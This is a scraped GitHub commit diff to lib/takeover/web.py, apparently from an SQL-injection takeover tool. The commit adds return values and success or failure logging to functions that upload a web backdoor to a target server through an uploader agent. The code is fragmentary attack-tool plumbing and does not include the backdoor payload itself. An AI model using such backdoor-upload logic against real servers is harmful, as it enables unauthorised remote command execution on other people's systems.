Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit 8723947

Browse files
committed
more fixes :)
1 parent e4699f3 commit 8723947

1 file changed

Lines changed: 21 additions & 10 deletions

File tree

lib/takeover/web.py

Lines changed: 21 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -79,8 +79,9 @@ def webBackdoorRunCmd(self, cmd):
7979

8080
def webFileUpload(self, fileToUpload, destFileName, directory):
8181
inputFile = open(fileToUpload, "r")
82-
self.__webFileStreamUpload(inputFile, destFileName, directory)
82+
retVal = self.__webFileStreamUpload(inputFile, destFileName, directory)
8383
inputFile.close()
84+
return retVal
8485

8586
def __webFileStreamUpload(self, stream, destFileName, directory):
8687
if self.webApi == "php":
@@ -95,6 +96,9 @@ def __webFileStreamUpload(self, stream, destFileName, directory):
9596
warnMsg = "unable to upload the backdoor through "
9697
warnMsg += "the uploader agent on '%s'" % directory
9798
logger.warn(warnMsg)
99+
return False
100+
else:
101+
return True
98102

99103
elif self.webApi == "asp":
100104
backdoorRemotePath = "%s/%s" % (directory, destFileName)
@@ -107,9 +111,12 @@ def __webFileStreamUpload(self, stream, destFileName, directory):
107111
warnMsg = "unable to upload the backdoor through "
108112
warnMsg += "the uploader agent on '%s'" % directory
109113
logger.warn(warnMsg)
114+
return False
115+
else:
116+
return True
110117

111118
elif self.webApi == "jsp":
112-
pass
119+
return False
113120

114121
def webInit(self):
115122
"""
@@ -195,13 +202,17 @@ def webInit(self):
195202
infoMsg += "on '%s'" % directory
196203
logger.info(infoMsg)
197204

198-
self.__webFileStreamUpload(backdoorStream, backdoorName, directory)
199-
self.webBackdoorUrl = "%s/%s" % (self.webBaseUrl, backdoorName)
200-
self.webDirectory = directory
201-
202-
infoMsg = "the backdoor has probably been successfully "
203-
infoMsg += "uploaded on '%s', go with your browser " % directory
204-
infoMsg += "to '%s' and enjoy it!" % self.webBackdoorUrl
205-
logger.info(infoMsg)
205+
if self.__webFileStreamUpload(backdoorStream, backdoorName, directory):
206+
self.webBackdoorUrl = "%s/%s" % (self.webBaseUrl, backdoorName)
207+
self.webDirectory = directory
208+
209+
infoMsg = "the backdoor has probably been successfully "
210+
infoMsg += "uploaded on '%s', go with your browser " % directory
211+
infoMsg += "to '%s' and enjoy it!" % self.webBackdoorUrl
212+
logger.info(infoMsg)
213+
else:
214+
infoMsg = "the backdoor hasn't been successfully "
215+
infoMsg += "uploaded on '%s'" % directory
216+
logger.warn(infoMsg)
206217

207218
break

0 commit comments

Comments
 (0)